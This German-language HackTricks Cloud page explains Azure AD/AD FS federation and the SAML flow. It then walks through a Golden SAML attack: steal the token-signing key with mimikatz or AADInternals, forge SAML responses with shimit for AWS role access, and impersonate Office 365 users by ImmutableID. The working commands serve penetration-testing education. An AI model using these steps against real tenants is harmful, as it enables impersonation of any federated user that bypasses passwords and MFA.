German - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Federation

Unterstütze HackTricks

Grundlegende Informationen

Aus den Dokumenten:Federation ist eine Sammlung von Domänen, die Vertrauen aufgebaut haben. Das Vertrauensniveau kann variieren, umfasst jedoch typischerweise Authentifizierung und fast immer Autorisierung. Eine typische Federation könnte eine Anzahl von Organisationen umfassen, die Vertrauen für den gemeinsamen Zugriff auf eine Reihe von Ressourcen aufgebaut haben.

Sie können Ihre On-Premises-Umgebung mit Azure AD föderieren und diese Federation für Authentifizierung und Autorisierung verwenden. Diese Anmeldemethode stellt sicher, dass alle Benutzerauthentifizierungen vor Ort erfolgen. Diese Methode ermöglicht Administratoren die Implementierung strengerer Zugriffskontrollen. Federation mit AD FS und PingFederate ist verfügbar.

Grundsätzlich erfolgt bei der Federation alle Authentifizierung in der On-Prem-Umgebung und der Benutzer erlebt SSO in allen vertrauenswürdigen Umgebungen. Daher können Benutzer Cloud-Anwendungen mit ihren On-Prem-Anmeldeinformationen zugreifen.

Security Assertion Markup Language (SAML) wird verwendet, um alle Authentifizierungs- und Autorisierungsinformationen zwischen den Anbietern auszutauschen.

In jeder Federation-Setup gibt es drei Parteien:

  • Benutzer oder Client

  • Identity Provider (IdP)

  • Service Provider (SP)

(Bilder von https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Zunächst greift ein Benutzer auf eine Anwendung (Service Provider oder SP, wie AWS-Konsole oder vSphere-Webclient) zu. Dieser Schritt kann umgangen werden, indem der Client je nach spezifischer Implementierung direkt zum IdP (Identity Provider) geleitet wird.

  2. Anschließend identifiziert der SP den entsprechenden IdP (z.B. AD FS, Okta) für die Benutzerauthentifizierung. Er erstellt dann eine SAML (Security Assertion Markup Language) AuthnRequest und leitet den Client zum ausgewählten IdP um.

  3. Der IdP übernimmt die Authentifizierung des Benutzers. Nach der Authentifizierung wird eine SAMLResponse vom IdP erstellt und über den Benutzer an den SP weitergeleitet.

  4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was eine Vertrauensbeziehung mit dem IdP impliziert, wird dem Benutzer der Zugriff gewährt. Dies markiert den Abschluss des Anmeldeprozesses und ermöglicht dem Benutzer die Nutzung des Dienstes.

Wenn Sie mehr über SAML-Authentifizierung und häufige Angriffe erfahren möchten, gehen Sie zu:

Pivoting

  • AD FS ist ein claims-basiertes Identitätsmodell.

  • "..claims sind einfach Aussagen (zum Beispiel Name, Identität, Gruppe), die über Benutzer gemacht werden und hauptsächlich zur Autorisierung des Zugriffs auf claims-basierte Anwendungen verwendet werden, die sich überall im Internet befinden."

  • Claims für einen Benutzer werden in den SAML-Token geschrieben und dann vom IdP signiert, um Vertraulichkeit zu gewährleisten.

  • Ein Benutzer wird durch ImmutableID identifiziert. Es ist global eindeutig und in Azure AD gespeichert.

  • Die ImmutableID wird vor Ort als ms-DS-ConsistencyGuid für den Benutzer gespeichert und/oder kann aus der GUID des Benutzers abgeleitet werden.

  • Weitere Informationen unter https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Golden SAML Angriff:

  • In ADFS wird die SAML Response von einem Token-Signaturzertifikat signiert.

  • Wenn das Zertifikat kompromittiert ist, ist es möglich, sich als JEDER Benutzer, der mit Azure AD synchronisiert ist, bei Azure AD zu authentifizieren!

  • Genau wie bei unserem PTA-Missbrauch hat eine Passwortänderung für einen Benutzer oder MFA keine Auswirkungen, da wir die Authentifizierungsantwort fälschen.

  • Das Zertifikat kann vom AD FS-Server mit DA-Berechtigungen extrahiert und dann von jeder internetverbundenen Maschine aus verwendet werden.

  • Weitere Informationen unter https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

Der Prozess, bei dem ein Identity Provider (IdP) eine SAMLResponse zur Autorisierung der Benutzeranmeldung erstellt, ist von entscheidender Bedeutung. Abhängig von der spezifischen Implementierung des IdP kann die Antwort mit dem privaten Schlüssel des IdP signiert oder verschlüsselt werden. Dieses Verfahren ermöglicht es dem Service Provider (SP), die Authentizität der SAMLResponse zu bestätigen und sicherzustellen, dass sie tatsächlich von einem vertrauenswürdigen IdP ausgestellt wurde.

Ein Vergleich kann mit dem golden ticket Angriff gezogen werden, bei dem der Schlüssel zur Authentifizierung der Identität und Berechtigungen des Benutzers (KRBTGT für golden tickets, privater Token-Signaturschlüssel für golden SAML) manipuliert werden kann, um ein Authentifizierungsobjekt (TGT oder SAMLResponse) zu fälschen. Dies ermöglicht die Nachahmung eines beliebigen Benutzers und gewährt unbefugten Zugriff auf den SP.

Golden SAMLs bieten bestimmte Vorteile:

  • Sie können remote erstellt werden, ohne Teil der betreffenden Domäne oder Federation zu sein.

  • Sie bleiben auch bei aktivierter Zwei-Faktor-Authentifizierung (2FA) wirksam.

  • Der Token-Signatur-private Schlüssel erneuert sich nicht automatisch.

  • Ändern des Benutzerpassworts macht einen bereits generierten SAML nicht ungültig.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) ist ein Microsoft-Dienst, der den sicheren Austausch von Identitätsinformationen zwischen vertrauenswürdigen Geschäftspartnern (Federation) erleichtert. Es ermöglicht im Wesentlichen einem Domänendienst, Benutzeridentitäten mit anderen Dienstanbietern innerhalb einer Federation zu teilen.

Da AWS der kompromittierten Domäne (in einer Federation) vertraut, kann diese Schwachstelle ausgenutzt werden, um potenziell beliebige Berechtigungen in der AWS-Umgebung zu erlangen. Der Angriff erfordert den privaten Schlüssel, der zum Signieren der SAML-Objekte verwendet wird, ähnlich wie der KRBTGT bei einem golden ticket Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen privaten Schlüssel zu erhalten.

Die Anforderungen für die Durchführung eines golden SAML Angriffs umfassen:

  • Token-Signatur privater Schlüssel

  • IdP öffentliches Zertifikat

  • IdP Name

  • Rollenname (Rolle zu übernehmen)

  • Domäne\Benutzername

  • Rollensitzungsname in AWS

  • Amazon-Konto-ID

Nur die fettgedruckten Elemente sind obligatorisch. Die anderen können nach Belieben ausgefüllt werden.

Um den privaten Schlüssel zu erwerben, ist der Zugriff auf das AD FS-Benutzerkonto erforderlich. Von dort aus kann der private Schlüssel mit Tools wie mimikatz aus dem persönlichen Speicher exportiert werden. Um die anderen erforderlichen Informationen zu sammeln, können Sie das Microsoft.Adfs.Powershell-Snapin wie folgt verwenden, wobei Sie sicherstellen, dass Sie als ADFS-Benutzer angemeldet sind:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Mit all diesen Informationen ist es möglich, eine gültige SAMLResponse als den Benutzer, den Sie imitieren möchten, mit shimit zu vergessen**:**

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> cloud

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Es ist auch möglich, ImmutableID von nur Cloud-Benutzern zu erstellen und sie zu imitieren.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Referenzen

Unterstütze HackTricks
PreviousAz - Cloud Kerberos TrustNextAz - PHS - Password Hash Sync

Last updated